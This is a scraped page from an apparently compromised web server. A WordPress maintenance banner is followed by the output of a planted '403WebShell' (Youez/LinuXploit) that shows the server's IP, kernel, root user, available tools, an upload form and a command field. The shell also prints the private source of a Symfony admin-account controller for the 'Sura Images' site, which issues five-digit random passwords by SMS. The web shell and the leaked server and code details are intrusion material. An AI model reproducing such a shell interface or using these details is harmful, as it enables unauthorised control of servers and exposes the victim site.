WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.240
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Controller/RoleUserController.php
<?php

namespace App\Controller;

use App\Entity\RoleUser;
use App\Entity\User;
use App\Form\RoleUserType;
use App\Repository\RoleUserRepository;
use App\Service\SMS;
use App\Util\Mailer;
use FOS\UserBundle\Model\UserManagerInterface;
use FOS\UserBundle\Util\TokenGenerator;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\Routing\Generator\UrlGeneratorInterface;

/**
 * @Route("/role/user")
 */
class RoleUserController extends AbstractController
{
    public $userManager;
    public $mailer;

    public function __construct(UserManagerInterface $userManager, Mailer $mailer)
    {
        $this->userManager=$userManager;
        $this->mailer=$mailer;
    }

    /**
     * @Route("/dashboard", name="role_user_dashboard")
     */
    public function role_user_dashboard(RoleUserRepository $roleUserRepository)
    {
        $user = $this->getUser();

        $roleNames = [];

        $r = [
            'About Us'=>'ROLE_ABOUT',
            'Resources'=>'ROLE_RESOURCES',
            'Blog'=>'ROLE_BLOG',
            'Contributors'=>'ROLE_CONTRIBUTORS',
            'Pricing'=>'ROLE_PRICING',
            'Terms & Conditions'=>'ROLE_TERMS',
            'Contributor Agreement'=>'ROLE_CONTRIBUTOR_AGREEMENT',
        ];

        $roles = $user->getRoles();
        foreach ($roles as $key=>$value){
            if (in_array($value,$r, true)){
                $k = array_search($value,$r,true);
                array_push($roleNames,$k);
            }
        }

        return $this->render("role_user/role_dashboard.html.twig",[
            'role_users'=>$roleUserRepository->findAll(),
            'role_names' => $roleNames,
            'user'=>$user
        ]);
    }

    /**
     * @Route("/", name="role_user_index", methods={"GET"})
     */
    public function index(RoleUserRepository $roleUserRepository): Response
    {
        return $this->render('role_user/index.html.twig', [
            'role_users' => $roleUserRepository->findAll(),
        ]);
    }

    /**
     * @Route("/new", name="role_user_new", methods={"GET","POST"})
     */
    public function new(Request $request, RoleUserRepository $roleUserRepository , SMS $SMS): Response
    {
        $roleUser = new RoleUser();
        $form = $this->createForm(RoleUserType::class, $roleUser);
        $form->handleRequest($request);

        if ($form->isSubmitted() && $form->isValid()) {
            $entityManager = $this->getDoctrine()->getManager();

            /**
             * @var array
             */
            $roles = $roleUser->getRoles();

            array_push($roles,User::SUB_ADMINS);

            if (count($roles) == 1){
                $this->addFlash("message", "You must assign at least one role to the admin");
                return $this->render('role_user/new.html.twig', [
                    'role_user' => $roleUser,
                    'form' => $form->createView(),
                ]);
            }

            //create user or null
            $user=$this->createUser($roleUser->getFirstName(),$roleUser->getLastName(),$roleUser->getEmailAddress(),$roleUser->getPhoneNumber(),$roles,$SMS);

//            dd($user);

            if ($user){
                //check if a role user exists
                $check=$roleUserRepository->findOneBy(['user'=>$user]);

                if($check===null) {

                    $entityManager = $this->getDoctrine()->getManager();

                    $roleUser->setUser($user);
                    $entityManager->persist($roleUser);
                    $entityManager->flush();

                    $message = "New admin has been created successfully";

                }else{
                    $message = "An admin with the given email and or phone number already exists";
                    $this->addFlash("message", $message);
                    return $this->render('role_user/new.html.twig', [
                        'role_user' => $roleUser,
                        'form' => $form->createView(),
                    ]);
                }
            }else{
                $message = "A user with the given email and or phone number already exists";
                $this->addFlash("message", $message);
                return $this->render('role_user/new.html.twig', [
                    'role_user' => $roleUser,
                    'form' => $form->createView(),
                ]);
            }

            $this->addFlash("message", $message);
            return $this->redirectToRoute('role_user_index');
        }

        return $this->render('role_user/new.html.twig', [
            'role_user' => $roleUser,
            'form' => $form->createView(),
        ]);
    }

    public function createUser($fname,$lname,$email,$phone,$role,SMS $SMS){
        $userManager=$this->userManager;
        $sendEmail=true;

        //crete a new user
        $user_roles=$role;
        $password =rand(10000, 99999);
        //check if exists
        $repository = $this->getDoctrine()
            ->getRepository( User::class );
        /** @var User $user */
        $user=$repository->findOneBy(['email'=>$email]);
        if($user===null) {

            //check by phumber
            $user=$repository->findOneBy(['phoneNumber'=>$phone]);
            if($user===null) {
                /** @var User $user */
                $user = $userManager->createUser();
                $user->setFirstName($fname);
                $user->setLastName($lname);
                $user->setPhoneNumber($phone);

                if($email == null){
                    $email=$phone.'@suraimages.com';
                    $user->setUsername($phone);
                    $sendEmail=false;
                }
                else{
                    $user->setUsername($email);
                }
                $user->setEmail($email);
                $user->setRoles($user_roles);
                $tokenGenerator = new TokenGenerator();
                $user->setConfirmationToken($tokenGenerator->generateToken());
                $user->setPlainPassword($password);
                $user->setEnabled(true);

                $userManager->updateUser($user, true);

                if($sendEmail) {
                    //send email
//                    $url = $this->generateUrl('fos_user_registration_confirm', array('token' => $user->getConfirmationToken()), UrlGeneratorInterface::ABSOLUTE_URL);
                    $url = $this->generateUrl('role_user_dashboard',[], UrlGeneratorInterface::ABSOLUTE_URL);

                    $this->mailer->sendNewAdmin($user,$url,$password);
                }
                //send text
                $username=$user->getUsername();

                $msg="An admin account has been created for you on Sura Images".PHP_EOL."Your username is: $username ".PHP_EOL."Your password is: $password".PHP_EOL;
                /** SMS $sms */

                $SMS->send($phone,$msg);

            }else{
                return null;
            }

        }
        else{
            //flash error
            return null;
        }

        return $user;

    }

    /**
     * @Route("/{id}", name="role_user_show", methods={"GET"})
     */
    public function show(RoleUser $roleUser): Response
    {
        return $this->render('role_user/show.html.twig', [
            'role_user' => $roleUser,
        ]);
    }

    /**
     * @Route("/{id}/edit", name="role_user_edit", methods={"GET","POST"})
     */
    public function edit(Request $request, RoleUser $roleUser, UserManagerInterface $userManager): Response
    {
        $form = $this->createForm(RoleUserType::class, $roleUser);
        $form->handleRequest($request);

        if ($form->isSubmitted() && $form->isValid()) {

            $roles = $roleUser->getRoles();

            array_push($roles,User::SUB_ADMINS);

            $user = $roleUser->getUser();
            $user->setRoles($roles);

            $this->getDoctrine()->getManager()->flush();
            $userManager->updateUser($user);

            return $this->redirectToRoute('role_user_index');
        }

        return $this->render('role_user/edit.html.twig', [
            'role_user' => $roleUser,
            'form' => $form->createView(),
        ]);
    }

    /**
     * @Route("/{id}", name="role_user_delete", methods={"DELETE"})
     */
    public function delete(Request $request, RoleUser $roleUser): Response
    {
        if ($this->isCsrfTokenValid('delete'.$roleUser->getId(), $request->request->get('_token'))) {
            $entityManager = $this->getDoctrine()->getManager();
            $user = $roleUser->getUser();
            $entityManager->remove($roleUser);
            $entityManager->remove($user);
            $entityManager->flush();
        }

        return $this->redirectToRoute('role_user_index');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit